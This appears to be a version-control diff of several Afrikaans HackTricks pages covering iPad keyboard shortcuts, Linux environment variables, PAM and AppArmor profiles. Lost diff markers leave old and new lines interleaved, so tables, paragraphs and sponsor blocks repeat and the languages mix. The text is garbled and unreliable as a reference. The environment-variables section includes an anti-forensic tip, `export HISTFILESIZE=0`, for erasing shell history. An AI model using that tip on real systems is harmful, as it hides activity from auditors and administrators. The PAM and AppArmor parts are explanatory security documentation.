| ⌘⇥ (Bevel-Tab) | Skakel terug na die oorspronklike Program |
| ←+→, dan Opsie + ← of Opsie+→ | Navigeer deur die Dok |
#### Safari snelkoppelinge
| Sneltoets | Aksie |
| --------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Gaan na Tuis |
| ⌘⇧H (Opdrag-Shift-H) | Gaan na Tuis |
| ⌘ (Space) | Open Spotlight |
| ⌘⇥ (Opdrag-Tab) | Lys laaste tien gebruikte toepassings |
| ⌘\~ | Gaan na die laaste Toepassing |
| ⌘⇧3 (Opdrag-Shift-3) | Skermskoot (hang in onderste linkerhoek om te stoor of daarop te handel) |
| ⌘⇧4 | Skermskoot en open dit in die redigeerder |
| Druk en hou ⌘ | Lys van sneltoetse beskikbaar vir die Toepassing |
| ⌘⌥D (Opdrag-Optie/Alt-D) | Bring die dok op |
| ^⌥H (Beheer-Optie-H) | Tuis knoppie |
| ^⌥H H (Beheer-Optie-H-H) | Wys multitaskbalk |
| ^⌥I (Beheer-Optie-i) | Item kieser |
| Escape | Terug knoppie |
| → (Regter pyl) | Volgende item |
| ← (Linker pyl) | Vorige item |
| ↑↓ (Bo pyl, Onder pyl) | Gelijktijdig tik op die geselekte item |
| ⌥ ↓ (Opsie-Onder pyl) | Rol af |
| ⌥↑ (Opsie-Bo pyl) | Rol op |
| ⌥← of ⌥→ (Opsie-Linker pyl of Opsie-Regter pyl) | Rol links of regs |
| ^⌥S (Beheer-Optie-S) | Skakel VoiceOver spraak aan of af |
| ⌘⇧⇥ (Opdrag-Shift-Tab) | Wissel na die vorige toepassing |
| ⌘⇥ (Opdrag-Tab) | Wissel terug na die oorspronklike toepassing |
| ←+→, dan Opsie + ← of Opsie+→ | Navigeer deur Dok |
| Snelkoppeling | Aksie |
| ----------------------- | ------------------------------------------------ |
| ⌘L (Command-L) | Maak Ligging Oop |
| ⌘T | Maak 'n nuwe lappie oop |
| ⌘W | Maak die huidige lappie toe |
| ⌘R | Verfris die huidige lappie |
| ⌘. | Stop met die laai van die huidige lappie |
| ^⇥ | Skakel na die volgende lappie |
| ^⇧⇥ (Control-Shift-Tab) | Beweeg na die vorige lappie |
| ⌘L | Kies die teks invoer/URL-veld om dit te wysig |
| ⌘⇧T (Command-Shift-T) | Maak laaste geslote lappie oop (kan verskeie kere gebruik word) |
| ⌘\[ | Gaan een bladsy terug in jou blaai-geskiedenis |
| ⌘] | Gaan een bladsy vorentoe in jou blaai-geskiedenis |
| ⌘⇧R | Aktiveer Leesmodus |
#### Safari sneltoetse
#### Pos snelkoppelinge
| Sneltoets | Aksie |
| ------------------------ | ------------------------------------------------ |
| ⌘L (Opdrag-L) | Open Ligging |
| ⌘T | Open 'n nuwe tab |
| ⌘W | Sluit die huidige tab |
| ⌘R | Vernuw die huidige tab |
| ⌘. | Stop laai van die huidige tab |
| ^⇥ | Wissel na die volgende tab |
| ^⇧⇥ (Beheer-Shift-Tab) | Beweeg na die vorige tab |
| ⌘L | Kies die teksinvoer/URL veld om dit te wysig |
| ⌘⇧T (Opdrag-Shift-T) | Open laaste geslote tab (kan verskeie kere gebruik word) |
| ⌘\[ | Gaan terug een bladsy in jou blaai geskiedenis |
| ⌘] | Gaan vorentoe een bladsy in jou blaai geskiedenis |
| ⌘⇧R | Aktiveer Leser Modus |
| Snelkoppeling | Aksie |
| ------------------------ | ---------------------------- |
| ⌘L | Maak Ligging Oop |
| ⌘T | Maak 'n nuwe lappie oop |
| ⌘W | Maak die huidige lappie toe |
| ⌘R | Verfris die huidige lappie |
| ⌘. | Stop met die laai van die huidige lappie |
| ⌘⌥F (Command-Option/Alt-F) | Soek in jou posbus |
#### Posvak sneltoetse
| Sneltoets | Aksie |
| --------------------------- | ---------------------------- |
| ⌘L | Open Ligging |
| ⌘T | Open 'n nuwe tab |
| ⌘W | Sluit die huidige tab |
| ⌘R | Vernuw die huidige tab |
| ⌘. | Stop laai van die huidige tab |
| ⌘⌥F (Opdrag-Optie/Alt-F) | Soek in jou posvak |
## Verwysings
@ -300,29 +292,19 @@ Hierdie kortpaaie is vir die visuele instellings en klankinstellings, afhangende
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe malware** **gekompromiteer** is.
Die primêre doel van WhiteIntel is om rekening-oorneem te beveg en losgeldware-aanvalle te voorkom wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -8,21 +8,13 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* Kyk na die [**intekening planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Globale veranderlikes
Die globale veranderlikes **sal wees** geërf deur **kind proses**.
@ -69,9 +61,9 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
* **MANPATH** die lys van gidse om na handleidingsbladsye te soek.
* **OSTYPE** die tipe bedryfstelsel.
* **PS1** die standaardprompt in bash.
* **PATH** stoor die pad van al die gidse wat binaire lêers bevat wat jy wil uitvoer net deur die naam van die lêer te spesifiseer en nie deur relatiewe of absolute pad nie.
* **PATH** stoor die pad van al die gidse wat binêre lêers bevat wat jy wil uitvoer net deur die naam van die lêer te spesifiseer en nie deur relatiewe of absolute pad nie.
* **PWD** die huidige werkgids.
* **SHELL** die pad na die huidige opdragskuiling (byvoorbeeld, **/bin/bash**).
* **SHELL** die pad na die huidige opdrag-shel (byvoorbeeld, **/bin/bash**).
* **TERM** die huidige terminal tipe (byvoorbeeld, **xterm**).
* **TZ** jou tydsone.
* **USER** jou huidige gebruikersnaam.
@ -80,7 +72,7 @@ From: [https://geek-university.com/linux/common-environment-variables/](https://
### **HISTFILESIZE**
Verander die **waarde van hierdie veranderlike na 0**, sodat wanneer jy **jou sessie beëindig** die **geskiedenis lêer** (\~/.bash\_history) **verwyder sal word**.
Verander die **waarde van hierdie veranderlike na 0**, sodat wanneer jy jou **sessie beëindig** die **geskiedenis lêer** (\~/.bash\_history) **verwyder sal word**.
```bash
export HISTFILESIZE=0
```
@ -126,15 +118,10 @@ Een agtergrond taak, een gestopte en laaste opdrag het nie korrek afgesluit nie:
![](<../.gitbook/assets/image (715).png>)
**Probeer Hard Veiligheid Groep**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -15,28 +15,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
***
### Basic Information
**PAM (Pluggable Authentication Modules)** funksioneer as 'n sekuriteitsmeganisme wat **die identiteit van gebruikers wat probeer om toegang tot rekenaar dienste te verkry, verifieer**, en hul toegang beheer op grond van verskeie kriteria. Dit is soortgelyk aan 'n digitale wag, wat verseker dat slegs gemagtigde gebruikers met spesifieke dienste kan omgaan terwyl dit moontlik hul gebruik beperk om stelseloorlaai te voorkom.
**PAM (Pluggable Authentication Modules)** dien as 'n sekuriteitsmeganisme wat **die identiteit van gebruikers wat probeer om toegang tot rekenaar dienste te verkry, verifieer**, en hul toegang beheer op grond van verskeie kriteria. Dit is soortgelyk aan 'n digitale wag, wat verseker dat slegs gemagtigde gebruikers met spesifieke dienste kan omgaan terwyl dit moontlik hul gebruik beperk om stelseloorlaai te voorkom.
#### Configuration Files
* **Solaris en UNIX-gebaseerde stelsels** gebruik tipies 'n sentrale konfigurasie lêer geleë by `/etc/pam.conf`.
* **Linux stelsels** verkies 'n gidsbenadering, wat diens-spesifieke konfigurasies binne `/etc/pam.d` stoor. Byvoorbeeld, die konfigurasie lêer vir die aanmelddiens is te vind by `/etc/pam.d/login`.
* **Solaris en UNIX-gebaseerde stelsels** gebruik tipies 'n sentrale konfigurasie-lêer geleë by `/etc/pam.conf`.
* **Linux-stelsels** verkies 'n gidsbenadering, wat diens-spesifieke konfigurasies binne `/etc/pam.d` stoor. Byvoorbeeld, die konfigurasie-lêer vir die aanmelddiens is te vind by `/etc/pam.d/login`.
'n Voorbeeld van 'n PAM-konfigurasie vir die aanmelddiens mag soos volg lyk:
```
@ -53,53 +40,42 @@ session required /lib/security/pam_unix_session.so
```
#### **PAM Bestuur Ranges**
Hierdie ranges, of bestuursgroepe, sluit **auth**, **account**, **password**, en **session** in, elk verantwoordelik vir verskillende aspekte van die verifikasie en sessiebestuur proses:
Hierdie ranges, of bestuursgroepe, sluit **auth**, **account**, **password**, en **session** in, elk verantwoordelik vir verskillende aspekte van die verifikasie- en sessiebestuurproses:
* **Auth**: Valideer gebruiker identiteit, dikwels deur vir 'n wagwoord te vra.
* **Auth**: Valideer gebruikersidentiteit, dikwels deur vir 'n wagwoord te vra.
* **Account**: Hanteer rekeningverifikasie, wat toestande soos groepslidmaatskap of tydsbeperkings nagaan.
* **Password**: Bestuur wagwoordopdaterings, insluitend kompleksiteitskontroles of voorkoming van woordeboekaanvalle.
* **Session**: Bestuur aksies tydens die begin of einde van 'n diensessie, soos om gidse te monteer of hulpbronlimiete te stel.
* **Session**: Bestuur aksies tydens die begin of einde van 'n diensessie, soos om gidse te monteer of hulpbronlimiete in te stel.
#### **PAM Modul Beheer**
#### **PAM Modulbeheers**
Beheer bepaal die module se reaksie op sukses of mislukking, wat die algehele verifikasieproses beïnvloed. Hierdie sluit in:
Beheers bepaal die module se reaksie op sukses of mislukking, wat die algehele verifikasieproses beïnvloed. Hierdie sluit in:
* **Required**: Mislukking van 'n vereiste module lei tot uiteindelike mislukking, maar slegs nadat alle daaropvolgende modules nagegaan is.
* **Requisite**: Onmiddellike beëindiging van die proses by mislukking.
* **Sufficient**: Sukses omseil die res van dieselfde reeks se kontroles tensy 'n daaropvolgende module misluk.
* **Sufficient**: Sukses omseil die res van die kontroles van dieselfde reeks tensy 'n daaropvolgende module misluk.
* **Optional**: Lei slegs tot mislukking as dit die enigste module in die stapel is.
#### Voorbeeld Scenario
In 'n opstelling met meerdere auth modules volg die proses 'n strikte volgorde. As die `pam_securetty` module die aanmeldterminal ongeoorloof vind, word root aanmeldings geblokkeer, maar alle modules word steeds verwerk weens sy "required" status. Die `pam_env` stel omgewing veranderlikes in, wat moontlik help met gebruikerservaring. Die `pam_ldap` en `pam_unix` modules werk saam om die gebruiker te verifieer, met `pam_unix` wat probeer om 'n voorheen verskafde wagwoord te gebruik, wat doeltreffendheid en buigsaamheid in verifikasiemetodes verbeter.
In 'n opstelling met meerdere auth-modules volg die proses 'n strikte volgorde. As die `pam_securetty` module die aanmeldterminal as nie-geautoriseer vind, word wortel aanmeldings geblokkeer, maar alle modules word steeds verwerk weens sy "vereiste" status. Die `pam_env` stel omgewing veranderlikes in, wat moontlik help met gebruikerservaring. Die `pam_ldap` en `pam_unix` modules werk saam om die gebruiker te verifieer, met `pam_unix` wat probeer om 'n voorheen verskafde wagwoord te gebruik, wat doeltreffendheid en buigsaamheid in verifikasiemetodes verbeter.
### Verwysings
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kyk of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekeningoorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,44 @@
# AppArmor
{% hint style="success" %}
Leer & oefen AWS Hack:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hack: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
## Basic Information
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
AppArmor is a **kernel verbetering wat ontwerp is om die hulpbronne wat beskikbaar is aan programme deur per-program profiele te beperk**, wat effektief Verpligte Toegang Beheer (MAC) implementeer deur toegangbeheer eienskappe direk aan programme te koppel in plaas van aan gebruikers. Hierdie stelsel werk deur **profiele in die kern te laai**, gewoonlik tydens opstart, en hierdie profiele bepaal watter hulpbronne 'n program kan toegang hê, soos netwerkverbindinge, rou sokkettoegang, en lêer toestemmings.
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
Daar is twee operasionele modi vir AppArmor profiele:
Die primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteel-malware.
* **Handhaving Modus**: Hierdie modus handhaaf aktief die beleide wat binne die profiel gedefinieer is, en blokkeer aksies wat hierdie beleide oortree en enige pogings om dit te oortree deur stelsels soos syslog of auditd te log.
* **Klagte Modus**: Anders as handhaving modus, blokkeer klagte modus nie aksies wat teen die profiel se beleide gaan nie. In plaas daarvan, log dit hierdie pogings as beleids oortredings sonder om beperkings af te dwing.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
### Components of AppArmor
{% embed url="https://whiteintel.io" %}
* **Kernel Module**: Verantwoordelik vir die handhaving van beleide.
* **Beleide**: Spesifiseer die reëls en beperkings vir programgedrag en hulpbron toegang.
* **Parser**: Laai beleide in die kern vir handhaving of verslagdoening.
* **Hulpmiddels**: Dit is gebruikersmodus programme wat 'n koppelvlak bied om met en te bestuur AppArmor.
***
### Profiles path
## Basiese Inligting
Apparmor profiele word gewoonlik gestoor in _**/etc/apparmor.d/**_\
Met `sudo aa-status` sal jy in staat wees om die binaire te lys wat deur 'n profiel beperk word. As jy die karakter "/" kan verander in 'n punt in die pad van elke gelys binêre, sal jy die naam van die apparmor profiel binne die genoemde gids verkry.
AppArmor is 'n **kernel-verbetering ontwerp om die hulpbronne wat beskikbaar is vir programme deur per-program profiele te beperk**, wat effektief Mandatoriese Toegangsbeheer (MAC) implementeer deur toegangsbeheer-eienskappe direk aan programme te koppel eerder as aan gebruikers. Hierdie stelsel werk deur **profiele in die kernel te laai**, gewoonlik tydens opstart, en hierdie profiele bepaal watter hulpbronne 'n program kan benader, soos netwerkverbindinge, rou sokkeltoegang, en lêertoestemmings.
Byvoorbeeld, 'n **apparmor** profiel vir _/usr/bin/man_ sal geleë wees in _/etc/apparmor.d/usr.bin.man_
Daar is twee bedryfsmodusse vir AppArmor-profiele:
* **Afdwingingsmodus**: Hierdie modus dwing aktief die beleide wat binne die profiel gedefinieer is, deur aksies te blokkeer wat hierdie beleide oortree en enige pogings om dit te breek deur stelsels soos syslog of auditd te log.
* **Klaagmodus**: Anders as afdwingingsmodus, blokkeer klaagmodus nie aksies wat teen die profiel se beleide ingaan nie. Dit log eerder hierdie pogings as beleidoortredings sonder om beperkings af te dwing.
### Komponente van AppArmor
* **Kernelmodule**: Verantwoordelik vir die afdwinging van beleide.
* **Beleide**: Spesifiseer die reëls en beperkings vir programgedrag en hulpbronbenadering.
* **Parser**: Laai beleide in die kernel vir afdwinging of verslagdoening.
* **Hulpprogramme**: Dit is gebruikersmodus-programme wat 'n koppelvlak bied vir interaksie met en bestuur van AppArmor.
### Profiele-pad
Apparmor-profiele word gewoonlik gestoor in _**/etc/apparmor.d/**_\
Met `sudo aa-status` sal jy in staat wees om die bineêre lêers te lys wat deur 'n profiel beperk word. As jy die karakter "/" vir 'n punt van die pad van elke gelysde bineêre lêer kan verander, sal jy die naam van die apparmor-profiel binne die genoemde vouer kry.
Byvoorbeeld, 'n **apparmor**-profiel vir _/usr/bin/man_ sal geleë wees in _/etc/apparmor.d/usr.bin.man_
### Opdragte
### Commands
```bash
aa-status #check the current status
aa-enforce #set profile to enforce mode (from disable or complain)
@ -64,40 +50,40 @@ aa-mergeprof #used to merge the policies
```
## Skep 'n profiel
* Ten einde die geaffekteerde uitvoerbare lêer aan te dui, word **absoluite paaie en wildcards** toegelaat (vir lêer globbing) om lêers te spesifiseer.
* Om die toegang aan te dui wat die binêre lêer oor **lêers** sal hê, kan die volgende **toegangsbeheer** gebruik word:
* Om die betrokke uitvoerbare lêer aan te dui, **absolute paaie en wildcard** is toegelaat (vir lêer globbing) om lêers spesifiseer.
* Om die toegang wat die binêre oor **lêers** sal hê aan te dui, kan die volgende **toegangbeheer** gebruik word:
* **r** (lees)
* **w** (skryf)
* **m** (geheuekaart as uitvoerbare lêer)
* **k** (lêer sluiting)
* **l** (skep harde skakels)
* **ix** (om 'n ander program uit te voer met die nuwe program wat die beleid erf)
* **Px** (uitvoer onder 'n ander profiel, na skoonmaak van die omgewing)
* **Cx** (uitvoer onder 'n kinderprofiel, na skoonmaak van die omgewing)
* **Ux** (uitvoer onbeperk, na skoonmaak van die omgewing)
* **m** (geheuekaart as uitvoerbaar)
* **k** (lêer vergrendeling)
* **l** (skepping harde skakels)
* **ix** (om 'n ander program uit te voer met die nuwe program wat die beleid erfen)
* **Px** (uitvoer onder 'n ander profiel, na die omgewing skoongemaak is)
* **Cx** (uitvoer onder 'n kind profiel, na die omgewing skoongemaak is)
* **Ux** (uitvoer onbepaal, na die omgewing skoongemaak is)
* **Veranderlikes** kan in die profiele gedefinieer word en kan van buite die profiel gemanipuleer word. Byvoorbeeld: @{PROC} en @{HOME} (voeg #include \<tunables/global> by die profiel lêer)
* **Weieringsreëls word ondersteun om toelaatreëls te oorskry**.
* **Weier reëls word ondersteun om toelaat reëls te oortree**.
### aa-genprof
Om maklik te begin met die skep van 'n profiel, kan apparmor jou help. Dit is moontlik om **apparmor die aksies wat deur 'n binêre lêer uitgevoer word te laat ondersoek en dan te besluit watter aksies jy wil toelaat of weier**.\
Jy hoef net die volgende uit te voer:
Om maklik 'n profiel te begin skep kan apparmor jou help. Dit is moontlik om **apparmor die aksies wat deur 'n binêre uitgevoer word te ondersoek en jou dan te laat besluit watter aksies jy wil toelaat of weier**.\
Jy moet net die volgende uitvoer:
```bash
sudo aa-genprof /path/to/binary
```
Dan, voer in 'n ander konsole al die aksies uit wat die binêre gewoonlik sal uitvoer:
Dan, in 'n ander konsole, voer al die aksies uit wat die binêre gewoonlik sal uitvoer:
```bash
/path/to/binary -a dosomething
```
Dan, druk in die eerste konsole "**s**" en dui dan in die opgeneemde aksies aan of jy wil ignoreer, toelaat, of enigiets anders. Wanneer jy klaar is, druk "**f**" en die nuwe profiel sal geskep word in _/etc/apparmor.d/path.to.binary_
Dan, druk in die eerste konsole "**s**" en dui dan in die opgeneemde aksies aan of jy wil ignoreer, toelaat, of wat ook al. Wanneer jy klaar is, druk "**f**" en die nuwe profiel sal geskep word in _/etc/apparmor.d/path.to.binary_
{% hint style="info" %}
Met die pyltjiesleutels kan jy kies wat jy wil toelaat/weier/enigiets anders
Met die pyle sleutels kan jy kies wat jy wil toelaat/weier/wat ook al
{% endhint %}
### aa-easyprof
Jy kan ook 'n sjabloon van 'n apparmor-profiel van 'n binêre lêer skep met:
Jy kan ook 'n sjabloon van 'n apparmor profiel van 'n binêre skep met:
```bash
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
@ -123,21 +109,21 @@ sudo aa-easyprof /path/to/binary
}
```
{% hint style="info" %}
Let daarop dat standaard in 'n geskepte profiel niks toegelaat word nie, so alles word ontken. Jy sal reëls soos `/etc/passwd r,` moet byvoeg om die binêre lees van `/etc/passwd` byvoorbeeld toe te laat.
Let daarop dat niks standaard in 'n geskepte profiel toegelaat word nie, so alles word geweier. Jy sal lyne soos `/etc/passwd r,` moet byvoeg om die binêre lees van `/etc/passwd` toe te laat, byvoorbeeld.
{% endhint %}
Jy kan dan die nuwe profiel **afdwing** met
Jy kan dan **afdwing** die nuwe profiel met
```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### Wysiging van 'n profiel vanaf logboeke
### Modifying a profile from logs
Die volgende instrument sal die logboeke lees en die gebruiker vra of hy van die opgespoorde verbode aksies wil toelaat:
Die volgende hulpmiddel sal die logs lees en die gebruiker vra of hy sommige van die gedetecteerde verbode aksies wil toelaat:
```bash
sudo aa-logprof
```
{% hint style="info" %}
Deur die pyltoets te gebruik, kan jy kies wat jy wil toelaat/weier/enigiets
Deur die pyltoetsen te gebruik, kan jy kies wat jy wil toelaat/ontken/ens.
{% endhint %}
### Bestuur van 'n Profiel
@ -148,14 +134,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## Logboeke
## Logs
Voorbeeld van **AUDIT** en **DENIED** logboeke vanaf _/var/log/audit/audit.log_ van die uitvoerbare **`service_bin`**:
Voorbeeld van **AUDIT** en **DENIED** logs van _/var/log/audit/audit.log_ van die uitvoerbare **`service_bin`**:
```bash
